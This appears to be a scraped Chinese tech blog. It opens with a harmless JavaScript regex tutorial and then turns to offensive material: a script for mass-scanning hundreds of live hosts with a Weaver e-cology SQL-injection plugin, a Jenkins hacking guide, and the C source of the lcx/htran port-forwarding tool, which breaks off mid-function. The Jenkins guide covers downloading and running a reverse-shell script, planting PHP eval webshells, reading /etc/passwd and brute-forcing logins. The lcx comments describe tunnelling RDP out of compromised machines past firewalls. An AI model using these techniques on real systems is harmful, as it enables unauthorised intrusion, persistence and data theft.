^             开头         注意不能紧跟于左中括号的后面
$              结尾 
\b            单词边界    指[a-zA-Z_0-9]之外的字符
\B            非单词边界 

题目,设计一个字符串原型方法,实现首字母大写!

var a = "ruby";
 String.prototype.capitalize =  function () {
     return this.replace(/^\w/, function (s) {
         return s.toUpperCase();
     });
 }
alert(a.capitalize())//Ruby

单词边界举例。要匹配的东西的前端或未端不能为英文字母阿拉伯字数字或下横线。

var str = "12w-eefd&efrew";
alert(str.match(/\b\w+\b/g))//12w,eefd,efrew

实例属性 描述
global 是当前表达式模式首次匹配内容的开始位置,从0开始计数。其初始值为-1,每次成功匹配时,index属性都会随之改变。

ignoreCase 返回创建RegExp对象实例时指定的ignoreCase标志(i)的状态。如果创建RegExp对象实例时设置了i标志,该属性返回True,否则返回False,默认值为False。

lastIndex 是当前表达式模式首次匹配内容中最后一个字符的下一个位置,从0开始计数,常被作为继续搜索时的起始位置,初始值为-1, 表示从起始位置开始搜索,每次成功匹配时,lastIndex属性值都会随之改变。(只有使用exec()或test()方法才会填入,否则为0)

multiLine 返回创建RegExp对象实例时指定的multiLine标志(m)的状态。如果创建RegExp对象实例时设置了m标志,该属性返回True,否则返回False,默认值为False。

source 返回创建RegExp对象实例时指定的表达式文本字符串。

var str = "JS's Louvre";
var reg = /\w/g;
alert(reg.exec(str));//J
alert(reg.lastIndex);//1
alert(reg.exec(str));//S
alert(reg.lastIndex);//2
alert(reg.exec(str));//s
alert(reg.lastIndex);//4
alert(reg.exec(str));//L
alert(reg.lastIndex);//6

js正则表达式:验证邮箱格式、密码复杂度、手机号码、QQ号码

$(function () {
            $("input[name='sub']").on("click", function () {
                if (!isEmail($("input[name='email']").val())) {
                    $("span[name='email']").html("邮箱格式错误");
                    return false;
                }
                else {
                    $("span[name='email']").html("");
                }
                if (checkStrong($("input[name='password']").val()) < 3) {
                    $("span[name='password']").html("密码太过简单");
                    return false;
                }
                else {
                    $("span[name='password']").html("");
                }
                if (!isQQ($.trim($("input[name='qq']").val()))) {
                    $("span[name='qq']").html("请输入正确的QQ号码");
                    return false;
                }
                else {
                    $("span[name='qq']").html("");
                }
                if (!isPhone($.trim($("input[name='mnumber']").val()))) {
                    $("span[name='mnumber']").html("请输入正确的手机号码");
                    return false;
                }
                else {
                    $("span[name='mnumber']").html("");
                }
                return true;
            });
        });
        /**
        * 检查字符串是否为合法QQ号码
        * @param {String} 字符串
        * @return {bool} 是否为合法QQ号码
        */
        function isQQ(aQQ) {
            var bValidate = RegExp(/^[1-9][0-9]{4,9}$/).test(aQQ);
            if (bValidate) {
                return true;
            }
            else
                return false;
        }
        /**
        * 检查字符串是否为合法手机号码
        * @param {String} 字符串
        * @return {bool} 是否为合法手机号码
        */
        function isPhone(aPhone) {
            var bValidate = RegExp(/^(0|86|17951)?(13[0-9]|15[012356789]|18[0-9]|14[57])[0-9]{8}$/).test(aPhone);
            if (bValidate) {
                return true;
            }
            else
                return false;
        }
        /**
        * 检查字符串是否为合法email地址
        * @param {String} 字符串
        * @return {bool} 是否为合法email地址
        */
        function isEmail(aEmail) {
            var bValidate = RegExp(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/).test(aEmail);
            if (bValidate) {
                return true;
            }
            else
                return false;
        }
        /**
        * 检查字符串是否是整数
        * @param {String} 字符串
        * @return {bool} 是否是整数
        */
        function isInteger(s) {
            var isInteger = RegExp(/^[0-9]+$/);
            return (isInteger.test(s));
        }
        /*
            判断字符类型
        */
        function CharMode(iN) {
            if (iN >= 48 && iN <= 57) //数字  
                return 1;
            if (iN >= 65 && iN <= 90) //大写字母  
                return 2;
            if (iN >= 97 && iN <= 122) //小写  
                return 4;
            else
                return 8; //特殊字符  
        }
        /*
            统计字符类型
        */
        function bitTotal(num) {
            modes = 0;
            for (i = 0; i < 4; i++) {
                if (num & 1) modes++;
                num >>>= 1;
            }
            return modes;
        }
        /*
            返回密码的强度级别
        */
        function checkStrong(sPW) {
            if (sPW.length <= 4)
                return 0; //密码太短  
            Modes = 0;
            for (i = 0; i < sPW.length; i++) {
                //测试每一个字符的类别并统计一共有多少种模式.  
                Modes |= CharMode(sPW.charCodeAt(i));
            }
            return bitTotal(Modes);
        }

 

利用bugscan插件打造自己的漏扫

发布时间:July 11, 2015 // 分类:工作日志,开发笔记,linux,转帖文章,python,windows,生活琐事 // No Comments

如果要针对某个特定的漏洞来对目标进行检测, 直接丢到bugscan里显然有点大材小用,而且灵活性也不高。

就选一个泛微的漏洞吧,泛微e-cology 未授权下载文件处sql注入

新建个目录叫bugscan, 把这个插件保存为ecology.py,并放到这个目录下, 在ecology.py里再加一句话from dummy import *

tu

另外再新建个__init__.py的空文件, 把bugscan的sdk中的dummy文件夹也放到这里面

我的截图如下

tu

然后到bugscan的上级目录新建个py脚本

#!/usr/bin/python
from  bugscan import ecology
ecology.audit('http://220.248.243.186:8081/')

运行下 tu

然后就可以调用了。。

现在来批量。

查找目标zoomeye 
有500多台主机吧。。 
稍微改写下脚本

#!/usr/bin/python
from  bugscan import ecology

#target每个ip用换行隔开的,为了采集简单我查找的80端口
targets = file('target').readlines()

for target in targets:
    target = target.rstrip()
    ecology.audit("http://"+target+":80/")

tu

bugscandk下载地址:https://www.bugscan.net/sdk.zip

zoomeye:http://www.zoomeye.org/

知其一不知其二之Jenkins Hacking

发布时间:July 9, 2015 // 分类:linux,转帖文章,windows // No Comments

大多安全工作者听到jenkins都会知道有个未授权的命令执行

但是如果Script页面要授权才能访问呢 或者你的用户没有Overall/RunScripts权限呢

抱着提出问题-->测试问题-->解决问题的思路有了这篇文章

shot_jenkins

 

 

 

 

 

 

 

 

 

由于版本众多 也不用下载本地测了 直接在内网找到六个

 

jenkins_inner

 

 

 

 

截止发稿 Jenkins新版本为(1.589)

一、 知其一的Jenkins未授权访问可执行命令

 

http://www.secpulse.com:8080/manage

http://www.secpulse.com:8080/script

默认是8080端口 未授权访问就是任意用户都能访问 都能执行命令

jenkins_1

 

 

1) println "ifconfig -a".execute().text  执行一些系统命令

 

老外比较喜欢这样用:

def sout = new StringBuffer(), serr = new StringBuffer()

def proc = '[INSERT COMMAND]'.execute()

proc.consumeProcessOutput(sout, serr)

proc.waitForOrKill(1000)

println "out> $sout err> $serr"

 

 

2) 直接wget下载back.py反弹shell

 

println "wget http://xxx.secpulse.com/tools/back.py -P /tmp/".execute().text

println "python /tmp/back.py 10.1.1.111 8080".execute().text

 

back.py里面已经有了HISTFILE代码,会自动去掉各种history记录,确保shell断掉的时候不会被记录到.bash_history里面

back.py不需要root权限

jenkins_reverse_shell

 

 

3) 不想反弹试试Terminal Plugin

可以搜索安装Terminal Plugin

Terminal Plugin
https://wiki.jenkins-ci.org/display/JENKINS/Terminal+Plugin

jenkins_terminal

不想提权的话 还是蛮好用的终端插件 谁用谁知道~

二、不知其二之多种方式写shell

有时候其他端口有web,我们可以查看nginx/apache配置或者结合phpinfo写入webshell

 

尝试几次失败后开始翻阅Groovy  Script语法

The web site for Groovy is http://groovy.codehaus.org/

Groovy is a weakly-typed scripting language based on Java.

 

1)Groovy既然是基于Java的弱类型语言 那么先稍微提提它的语法

def name = 'Joe'

println "Hello $name"

//Hello Joe

 

def name = 'Joe'

println "Number of letters in $name is ${name.size( )}"

//Number of letters in Joe is 3

 

//Groovy I/O 文件读写

 
读文件

text = new File("/tmp/back.py").getText();

 
//eachLine -- 打开和读取文件的每一行

new File("/tmp/back.py").eachLine { 

println it;

}

//readLines

lineList = new File("/tmp/back.py").readLines();

lineList.each { 

println it.toUpperCase();

}

 

write轻轻松松写文件

new File("/tmp/1.php").write('Hello SecPulse');

 

多行写入

new File("/tmp/1.php").write("""

This is

just a test file

to play with

""");

 

 

2)几种写webshell的错误写法:

println "echo \'<?php @eval($_POST[c6md])?>\' > /var/www/html/media.php".execute().text

println "echo '<?php @eval(\$_POST[c6md])?>\' > /var/www/html/media.php ".execute().text

new File("/tmp/1.php").write("<?php @eval($_POST[s3cpu1se]);?>");

groovy.lang.MissingPropertyException: No such property: _POST for class: Script1

new File("/tmp/1.php").write("<?php @eval($\_POST[s3cpu1se]);?>");

new File("/tmp/1.php").write("<?php @eval(\$\_POST[s3cpu1se]);?>");

 

 

3)脑洞开 多种写webshell方法

① wget写webshell

println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/media.php".execute().text

②

new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');

③

def webshell = '<?php @eval($_POST[s3cpu1se]);?>'

new File("/var/www/html/media.php").write("$webshell");

 

④追加法写webshell

def execute(cmd) {

def proc =  cmd.execute()

proc.waitFor()

}

execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/media.php' ] )

execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/media.php' ] )

//参数-n 不要在最后自动换行

 

jenkins_webshell

 

Result: 0 表示成功写入

Result: 1 表示目录不存在或者权限不足 写入失败

Result: 2 表示构造有异常 写入失败

 

Hudson(jenkins类似)找"脚本命令行"

hudson

 

 

 

 

 

 

 

 

 

 

 

执行Groovy代码,读取服务器本地/etc/passwd文件:

try{

text = new File("/etc/passwd").getText();

out.print text

} catch(Exception e){

}

 

三、高逼格的Powershell&msf

https://github.com/samratashok/nishang

http://www.rapid7.com/db/modules/exploit/multi/http/jenkins_script_console

http://www.labofapenetrationtester.com/2014/06/hacking-jenkins-servers.html

jenkins_msf_3

 

nishang是一个powershell脚本集 msf上面有jenkins对应的exploit 感觉都没必要

四、登录认证的突破

jenkins可以对每个用户分配不同的权限,如Overall/RunScripts或者Job/Configure权限

user_config_2

 

 

1)某些版本匿名用户可以访问asynchPeople 可爆破密码

(通常很多密码跟用户名一样或者是其他弱口令(top1000),尤其是内网)

 

//用户列表:包含所有已知“用户”,包括当前安全域中的登录ID和在变更记录的提交信的息里的人

http://jenkins.secpulse.com:8080/asynchPeople/

jenkins_asynchPeople

 

所有构建(builds)

http://jenkins.secpulse.com:8080/view/All/builds

可以导出为XML

http:// jenkins.secpulse.com:8080/view/All/cc.xml

userContent(一般就一个readme):

http:// jenkins.secpulse.com:8080/userContent/

Computers:

http:// jenkins.secpulse.com:8080/computer/

jenkins_computer

 

2) 熟练的猜密码

根据这些用户名 熟练的猜密码 我们的目标就是要一个有命令执行权限的用户(最好是这样,但也不苛求)

有时候是域认证的用户 爆破立马触发各种邮件报警 显然就不理智 端详猜密码是个绝技~

3) 构造精准字典,来爆破

最好是构造精准的字典 也可以是top1000之类的弱口令

jenkins_burp

爆破Payload里面的json串可以删除

主要根据location判断爆破成功与否

 

五、低权限用户命令执行突破

 

不小心猜了个用户 没有执行权限 但是有job查看和configure权限

http://jenkins.secpulse.com:8080/job/Job1/configure

jenkins_execute_shell_1

 

新加一个Execute Shell添加command  (win平台用Execute Windows batch command)

Cat /etc/passwd

Apply

添加左上侧 立即构建

Build History看到历史BuildId

右键

控制台输出

http://jenkins.secpulse.com:8080/job/Job1/300/console

纯文本方式

http://jenkins.secpulse.com:8080/job/Job1/300/consoleText

 

jenkins_execute_shell_3

 

 

 

 

 

 

 

 

 

 

 

 

 

 

jenkins_execute_shell_2

 

老外也有提及:http://www.labofapenetrationtester.com/2014/08/script-execution-and-privilege-esc-jenkins.html

 

六、asynchPeople等不能访问时候的突破

 

快速定位用户有妙招

1) 如果jobs能访问的话 各种翻jobs 会看到启动用户

jenkins_finduser_1

 

 

<p style="box-sizing: border-box; border: 0px; font-family: 'Microsoft YaHei', 微软雅黑, Helvetica, Arial, 'Lucida Grande', Tahoma, sans-serif; font-size: 16px; outline: 0px; padding: 0px; margin: 0px

lcx的源码

发布时间:July 5, 2015 // 分类:工作日志,VC/C/C++,代码学习,windows,生活琐事 // No Comments

// htran.cpp 
  
/* 
用法说明: 
[Usage of Packet Transmit:]  lcx.exe -<listen|tran|slave> <option> [-log logfile] 
 
[option:] 
  -listen <ConnectPort> <TransmitPort> 
  -tran   <ConnectPort> <TransmitHost> <TransmitPort> 
  -slave  <ConnectHost> <ConnectPort>  <TransmitHost> <TransmitPort> 
 
备注: 
-listen 后面接的两个端口都是监听功能,即:被动连接 
-tran   这个就是最容易理解的端口转发功能 
-slave  后面接的两个地址和端口都是指本机要去主动连接的 
 
反弹3389: 
1、肉鸡上运行:lcx.exe -slave 控制机IP 80 127.0.0.1 3389 
2、控制机运行:lcx.exe -listen 80 3389 
3、之后在控制机上连接本地的3389即可,这样做的效果就是通过80端口实现了远程桌面的功能,而且还是肉鸡自己反弹外连出来的,因此能很好的绕过防火墙和内网的限制。 
*/  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <winsock2.h>  
#include <errno.h>  
#include <signal.h>  
#include <io.h>  
  
#pragma comment(lib, "ws2_32.lib")  
  
#define VERSION     "1.00"  
#define TIMEOUT     300  
#define MAXSIZE     20480 //20KB  
#define HOSTLEN     40  
#define CONNECTNUM  5  
  
struct transocket  
{  
    SOCKET fd1;  
    SOCKET fd2;  
};  
  
//void ver();  
//void proxy(int port);  
  
void usage(char *prog);  
  
void getctrlc(int j);  
void closeallfd();  
void makelog(char *buffer, int length);  
int testifisvalue(char *str);  
  
void bind2bind(int port1, int port2);  
void bind2conn(int port1, char *host, int port2);  
void conn2conn(char *host1, int port1, char *host2, int port2);  
  
int create_socket();  
int create_server(int sockfd, int port);  
int client_connect(int sockfd, char* server, int port);  
  
void transmitdata(LPVOID data);  
  
extern int errno;  
  
FILE *fp;  
  
int method=0;  
  
VOID main(int argc, char* argv[])  
{  
    char **p;  
  
    char sConnectHost[HOSTLEN];  
    char sTransmitHost[HOSTLEN];  
  
    int iConnectPort=0;  
    int iTransmitPort=0;  
  
    char *logfile=NULL;  
  
    memset(sConnectHost, 0, HOSTLEN);  
    memset(sTransmitHost, 0, HOSTLEN);  
  
    p=argv;  
    while(*p)  
    {  
        if(_stricmp(*p, "-log") == 0)  
        {  
            if(testifisvalue(*(p+1)))  
            {  
                logfile = *(++p);  
            }  
            else  
            {  
                printf("[-] ERROR: Must supply logfile name.\r\n");  
                return;  
            }  
            p++;  
            continue;  
        }  
  
        p++;  
    }  
  
    if(logfile !=NULL)  
    {  
        fp = fopen(logfile,"a");  
        if(fp == NULL )  
        {  
            printf("[-] ERROR: open logfile");  
            return;  
        }  
  
        makelog("====== Start ======\r\n", 0);  
    }  
  
    WSADATA wsadata;  
    WSAStartup(MAKEWORD(1, 1), &wsadata);  
  
    signal(SIGINT, &getctrlc);  
  
    if(argc > 2)  
    {  
        if(_stricmp(argv[1], "-listen") == 0 && argc >= 4)  
        {  
            iConnectPort = atoi(argv[2]);  
            iTransmitPort = atoi(argv[3]);  
            method = 1;  
        }  
        else if(_stricmp(argv[1], "-tran") == 0 && argc >= 5)  
        {  
            iConnectPort = atoi(argv[2]);  
            strncpy(sTransmitHost, argv[3], HOSTLEN);  
            iTransmitPort = atoi(argv[4]);  
            method = 2;  
        }  
        else if(_stricmp(argv[1], "-slave") == 0 && argc >= 6)  
        {  
            strncpy(sConnectHost, argv[2], HOSTLEN);  
            iConnectPort = atoi(argv[3]);  
            strncpy(sTransmitHost, argv[4], HOSTLEN);  
            iTransmitPort = atoi(argv[5]);  
            method = 3;  
        }  
    }  
  
    switch(method)  
    {  
    case 1:  
        bind2bind(iConnectPort, iTransmitPort);  
        break;  
    case 2:  
        bind2conn(iConnectPort, sTransmitHost, iTransmitPort);  
        break;  
    case 3:  
        conn2conn(sConnectHost, iConnectPort, sTransmitHost, iTransmitPort);  
        break;  
    default:  
        usage(argv[0]);  
        break;  
    }  
  
    if(method)  
    {  
        closeallfd();  
    }  
  
    WSACleanup();  
  
    return;  
}  
  
VOID usage(char* prog)  
{  
    printf("[Usage of Packet Transmit:]\r\n");  
    printf(" %s -<listen|tran|slave> <option> [-log logfile]\n\n", prog);  
    printf("[option:]\n");  
    printf(" -listen <ConnectPort> <TransmitPort>\n");  
    printf(" -tran   <ConnectPort> <TransmitHost> <TransmitPort>\n");  
    printf(" -slave  <ConnectHost> <ConnectPort>  <TransmitHost> <TransmitPort>\n\n");  
  
    return;  
}  
  
//************************************************************************************  
//  
// test if is value  
//  
//************************************************************************************  
int testifisvalue(char *str)  
{  
    if(str == NULL ) return(0);  
  
    if(str[0]=='-') return(0);  
  
    return(1);  
}  
  
//************************************************************************************  
//  
// LocalHost:ConnectPort transmit to LocalHost:TransmitPort  
//  
//************************************************************************************  
void bind2bind(int port1, int port2)  
{  
    SOCKET fd1,fd2,sockfd1,sockfd2;  
    struct sockaddr_in client1,client2;  
    int size1,size2;  
  
    HANDLE hThread=NULL;  
    transocket sock;  
    DWORD dwThreadID;  
  
    if((fd1=create_socket())==0) return;  
    if((fd2=create_socket())==0) return;  
  
    printf("[+] Listening port %d ......\r\n",port1);  
    fflush(stdout);  
  
    if(create_server(fd1, port1)==0)  
    {  
        closesocket(fd1);  
        return;  
    }  
  
    printf("[+] Listen OK!\r\n");  
    printf("[+] Listening port %d ......\r\n",port2);  
    fflush(stdout);  
  
    if(create_server(fd2, port2)==0)  
    {  
        closesocket(fd2);  
        return;  
    }  
  
    printf("[+] Listen OK!\r\n");  
    size1=size2=sizeof(struct sockaddr);  
  
    while(1)  
    {  
        printf("[+] Waiting for Client on port:%d ......\r\n",port1);  
        if((sockfd1 = accept(fd1,(struct sockaddr *)&client1,&size1))<0)  
        {  
            printf("[-] Accept1 error.\r\n");  
            continue;  
        }  
  
        printf("[+] Accept a Client on port %d from %s ......\r\n", port1, inet_ntoa(client1.sin_addr));  
        printf("[+] Waiting another Client on port:%d....\r\n", port2);  
        if((sockfd2 = accept(fd2, (struct sockaddr *)&client2, &size2))<0)  
        {  
            printf("[-] Accept2 error.\r\n");  
            closesocket(sockfd1);  
            continue;  
        }  
  
        printf("[+] Accept a Client on port %d from %s\r\n",port2, inet_ntoa(client2.sin_addr));  
        printf("[+] Accept Connect OK!\r\n");  
  
        sock.fd1 = sockfd1;  
        sock.fd2 = sockfd2;  
  
        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);  
        if(hThread == NULL)  
        {  
            TerminateThread(hThread, 0);  
            return;  
        }  
  
        Sleep(1000);  
        printf("[+] CreateThread OK!\r\n\n");  
    }  
}  
  
//************************************************************************************  
//  
// LocalHost:ConnectPort transmit to TransmitHost:TransmitPort  
//  
//************************************************************************************  
void bind2conn(int port1, char *host, int port2)  
{  
    SOCKET sockfd,sockfd1,sockfd2;  
    struct sockaddr_in remote;  
    int size;  
    char buffer[1024];  
  
    HANDLE hThread=NULL;  
    transocket sock;  
    DWORD dwThreadID;  
  
    if (port1 > 65535 || port1 < 1)  
    {  
        printf("[-] ConnectPort invalid.\r\n");  
        return;  
    }  
  
    if (port2 > 65535 || port2 < 1)  
    {  
        printf("[-] TransmitPort invalid.\r\n");  
        return;  
    }  
  
    memset(buffer,0,1024);  
  
    if((sockfd=create_socket()) == INVALID_SOCKET) return;  
  
    if(create_server(sockfd, port1) == 0)  
    {  
        closesocket(sockfd);  
        return;  
    }  
  
    size=sizeof(struct sockaddr);  
    while(1)  
    {  
        printf("[+] Waiting for Client ......\r\n");  
        if((sockfd1=accept(sockfd,(struct sockaddr *)&remote,&size))<0)  
        {  
            printf("[-] Accept error.\r\n");  
            continue;  
        }  
        printf("[+] Accept a Client from %s:%d ......\r\n", inet_ntoa(remote.sin_addr), ntohs(remote.sin_port));  
        if((sockfd2=create_socket())==0)  
        {  
            closesocket(sockfd1);  
            continue;  
        }  
        printf("[+] Make a Connection to %s:%d ......\r\n",host,port2);  
        fflush(stdout);  
        if(client_connect(sockfd2,host,port2)==0)  
        {  
            closesocket(sockfd2);  
            sprintf(buffer,"[SERVER]connection to %s:%d error\r\n", host, port2);  
            send(sockfd1,buffer,strlen(buffer),0);  
            memset(buffer, 0, 1024);  
            closesocket(sockfd1);  
            continue;  
        }  
  
        printf("[+] Connect OK!\r\n");  
  
        sock.fd1 = sockfd1;  
        sock.fd2 = sockfd2;  
  
        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);  
        if(hThread == NULL)  
        {  
            TerminateThread(hThread, 0);  
            return;  
        }  
  
        Sleep(1000);  
        printf("[+] CreateThread OK!\r\n\n");  
    }  
}  
  
//************************************************************************************  
//  
// ConnectHost:ConnectPort transmit to TransmitHost:TransmitPort  
//  
//************************************************************************************  
void conn2conn(char *host1,int port1,char *host2,int port2)  
{  
    SOCKET sockfd1,sockfd2;  
  
    HANDLE hThread=NULL;  
    transocket sock;  
    DWORD dwThreadID;  
    fd_set fds;  
    int l;  
    char buffer[MAXSIZE];  
  
    while(1)  
    {  
        if((sockfd1=create_socket())==0) return;  
        if((sockfd2=create_socket())==0) return;  
  
        printf("[+] Make a Connection to %s:%d....\r\n",host1,port1);  
        fflush(stdout);  
        if(client_connect(sockfd1,host1,port1)==0)  
        {  
            closesocket(sockfd1);  
            closesocket(sockfd2);  
            continue;  
        }  
  
        // fix by bkbll  
        // if host1:port1 recved data, than connect to host2,port2  
        l=0;  
        memset(buffer,0,MAXSIZE);  
        while(1)  
        {  
            FD_ZERO(&fds);  
            FD_SET(sockfd1, &fds);  
  
            if (select(sockfd1+1, &fds, NULL, NULL, NULL) == SOCKET_ERROR)  
            {  
                if (errno == WSAEINTR) continue;  
                break;  
            }  
            if (FD_ISSET(sockfd1, &fds))  
            {  
                l=recv(sockfd1, buffer, MAXSIZE, 0);  
                break;  
            }  
            Sleep(5);  
        }  
  
        if(l<=0)  
        {  
            printf("[-] There is a error...Create a new connection.\r\n");  
            continue;  
        }  
        while(1)  
        {  
            printf("[+] Connect OK!\r\n");  
            printf("[+] Make a Connection to %s:%d....\r\n", host2,port2);  
            fflush(stdout);  
            if(client_connect(sockfd2,host2,port2)==0)  
            {  
                closesocket(sockfd1);  
                closesocket(sockfd2);  
                continue;  
            }  
  
            if(send(sockfd2,buffer,l,0)==SOCKET_ERROR)  
            {  
                printf("[-] Send failed.\r\n");  
                continue;  
            }  
  
            l=0;  
            memset(buffer,0,MAXSIZE);  
            break;  
        }  
  
        printf("[+] All Connect OK!\r\n");  
  
        sock.fd1 = sockfd1;  
        sock.fd2 = sockfd2;  
  
        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);  
        if(hThread == NULL)  
        {  
            TerminateThread(hThread, 0);  
            return;  
        }  
  
        Sleep(1000);  
        printf("[+] CreateThread OK!\r\n\n");  
    }  
}  
  
//************************************************************************************  
//  
// Socket Transmit to Socket  
//  
//************************************************************************************  
void transmitdata(LPVOID data)  
{  
    SOCKET fd1, fd2;  
  
    transocket *sock;  
    struct timeval timeset;  
    fd_set readfd,writefd;  
  
    int result,i=0;  
  
    char read_in1[MAXSIZE],send_out1[MAXSIZE];  
    char read_in2[MAXSIZE],send_out2[MAXSIZE];  
  
    int read1=0,totalread1=0,send1=0;  
    int read2=0,totalread2=0,send2=0;  
  
    int sendcount1,sendcount2;  
  
    int maxfd;  
  
    struct sockaddr_in client1,client2;  
    int structsize1,structsize2;  
  
    char host1[20],host2[20];  
    int port1=0,port2=0;  
  
    char tmpbuf[100];  
  
    sock = (transocket *)data;  
    fd1 = sock->fd1;  
    fd2 = sock->fd2;  
  
    memset(host1,0,20);  
    memset(host2,0,20);  
    memset(tmpbuf,0,100);  
  
    structsize1=sizeof(struct sockaddr);  
    structsize2=sizeof(struct sockaddr);  
  
    if(getpeername(fd1,(struct sockaddr *)&client1,&structsize1)<0)  
    {  
        strcpy(host1, "fd1");  
    }  
    else  
    {  
        strcpy(host1, inet_ntoa(client1.sin_addr));  
        port1=ntohs(client1.sin_port);  
    }  
  
    if(getpeername(fd2,(struct sockaddr *)&client2,&structsize2)<0)  
    {  
        strcpy(host2,"fd2");  
    }  
    else  
    {  
        strcpy(host2, inet_ntoa(client2.sin_addr));  
        port2=ntohs(client2.sin_port);  
    }  
  
    printf("[+] Start Transmit (%s:%d <-> %s:%d) ......\r\n\n", host1, port1, host2, port2);  
  
    maxfd=max(fd1,fd2)+1;  
    memset(read_in1,0,MAXSIZE);  
    memset(read_in2,0,MAXSIZE);  
    memset(send_out1,0,MAXSIZE);  
    memset(send_out2,0,MAXSIZE);  
  
    timeset.tv_sec=TIMEOUT;  
    timeset.tv_usec=0;  
  
    while(1)  
    {  
        FD_ZERO(&readfd);  
        FD_ZERO(&writefd);  
  
        FD_SET((UINT)fd1, &readfd);  
        FD_SET((UINT)fd1, &writefd);  
        FD_SET((UINT)fd2, &writefd);  
        FD_SET((UINT)fd2, &readfd);  
  
        result=select(maxfd,&readfd,&writefd,NULL,&timeset);  
        if((result<0) && (errno!=EINTR))  
        {  
            printf("[-] Select error.\r\n");  
            break;  
        }  
        else if(result==0)  
        {  
            printf("[-] Socket time out.\r\n");  
            break;  
        }  
  
        if(FD_ISSET(fd1, &readfd))  
        {  
            /* must < MAXSIZE-totalread1, otherwise send_out1 will flow */  
            if(totalread1<MAXSIZE)  
            {  
                read1=recv(fd1, read_in1, MAXSIZE-totalread1, 0);  
                if((read1==SOCKET_ERROR) || (read1==0))  
                {  
                    printf("[-] Read fd1 data error,maybe close?\r\n");  
                    break;  
                }  
  
                memcpy(send_out1+totalread1,read_in1,read1);  
                sprintf(tmpbuf,"\r\nRecv %5d bytes from %s:%d\r\n", read1, host1, port1);  
                printf(" Recv %5d bytes %16s:%d\r\n", read1, host1, port1);  
  
                makelog(tmpbuf,strlen(tmpbuf));  
                makelog(read_in1,read1);  
  
                totalread1+=read1;  
                memset(read_in1,0,MAXSIZE);  
            }  
        }  
  
        if(FD_ISSET(fd2, &writefd))  
        {  
            int err=0;  
            sendcount1=0;  
            while(totalread1>0)  
            {  
                send1=send(fd2, send_out1+sendcount1, totalread1, 0);  
  
                if(send1==0) break;  
  
                if((send1<0) && (errno!=EINTR))  
                {  
                    printf("[-] Send to fd2 unknow error.\r\n");  
                    err=1;  
                    break;  
                }  
  
                if((send1<0) && (errno==ENOSPC)) break;  
  
                sendcount1+=send1;  
                totalread1-=send1;  
  
                printf(" Send %5d bytes %16s:%d\r\n", send1, host2, port2);  
            }  
  
            if(err==1) break;  
  
            if((totalread1>0) && (sendcount1>0))  
            {  
                /* move not sended data to start addr */  
                memcpy(send_out1,send_out1+sendcount1,totalread1);  
                memset(send_out1+totalread1,0,MAXSIZE-totalread1);  
            }  
            else  
            {  
                memset(send_out1,0,MAXSIZE);  
            }  
        }  
  
        if(FD_ISSET(fd2, &readfd))  
        {  
            if(totalread2<MAXSIZE)  
            {  
                read2=recv(fd2,read_in2,MAXSIZE-totalread2, 0);  
  
                if(read2==0) break;  
  
                if((read2<0) && (errno!=EINTR))  
                {  
                    printf("[-] Read fd2 data error,maybe close?\r\n\r\n");  
                    break;  
                }  
  
                memcpy(send_out2+totalread2,read_in2,read2);  
                sprintf(tmpbuf, "\r\nRecv %5d bytes from %s:%d\r\n", read2, host2, port2);  
                printf(" Recv %5d bytes %16s:%d\r\n", read2, host2, port2);  
  
                makelog(tmpbuf,strlen(tmpbuf));  
                makelog(read_in2,read2);  
  
                totalread2+=read2;  
                memset(read_in2,0,MAXSIZE);  
            }  
        }  
  
        if(FD_ISSET(fd1, &writefd))  
        {  
            int err2=0;  
            sendcount2=0;  
            while(totalread2>0)  
            {  
                send2=send(fd1, send_out2+sendcount2, totalread2, 0);  
  
                if(send2==0) break;  
  
                if((send2<0) && (errno!=EINTR))  
                {  
                    printf("[-] Send to fd1 unknow error.\r\n");  
                    err2=1;  
                    break;  
                }  
  
                if((send2<0) && (errno==ENOSPC)) break;  
  
                sendcount2+=send2;  
                totalread2-=send2;  
  
                printf(" Send %5d bytes %16s:%d\r\n", send2, host1, port1);  
            }  
  
            if(err2==1) break;  
            if((totalread2>0) && (sendcount2 > 0))  
            {  
                /* move not sended data to start addr */  
                memcpy(send_out2, send_out2+sendcount2, totalread2);  
                memset(send_out2+totalread2, 0, MAXSIZE-totalread2);  
            }  
            else  
            {  
                memset(send_out2,0,MAXSIZE);  
            }  
        }  
  
        Sleep(5);  
    }  
  
    closesocket(fd1);  
    closesocket(fd2);  
  
    printf("\r\n[+] OK! I Closed The Two Socket.\r\n");  
}  
  
int create_socket()  
{  
    int sockfd;  
  
    sockfd=socket(AF_INET,SOCK_STREAM,0);  
    if(sockfd<0)  
    {  
        printf("[-] Create socket error.\r\n");  
        return(0);  
    }  
  
    return(sockfd);  
}  
  
int create_server(int sockfd,int port)  
{  
    struct sockaddr_in srvaddr;  
    int on=1;  
  
    memset(&srvaddr, 0, sizeof(struct sockaddr));  
  
    srvaddr.sin_port=htons(port);  
    srvaddr.sin_family=AF_INET;  
    srvaddr.sin_addr.s_addr=htonl(INADDR_ANY);  
  
    setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR, (char*)&on,sizeof(on)); //so I can rebind the port  
  
    if(bind(sockfd,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr))<0)  
    {  
        printf("[-] Socket bind error.\r\n");  
        return(0);  
    }  
  
    if(listen(sockfd,CONNECTNUM)<0)  
    {  
        printf("[-] Socket Listen error.\r\n");  
        return(0);  
    }  
  
    return(1);  
}  
  
int client_connect(int sockfd,char* server,int port)  
{  
    struct sockaddr_in cliaddr;  
    struct hostent *host;  
  
    if(!(host=gethostbyname(server)))  
    {  
        printf("[-] Gethostbyname(%s) error:%s\n",server,0);  
        return(0);  
    }  
  
    memset(&cliaddr, 0, sizeof(struct sockaddr));  
    cliaddr.sin_family=AF_INET;  
    cliaddr.sin_port=htons(port);  
    cliaddr.sin_addr=*((struct in_addr *)host->h_addr);  
  
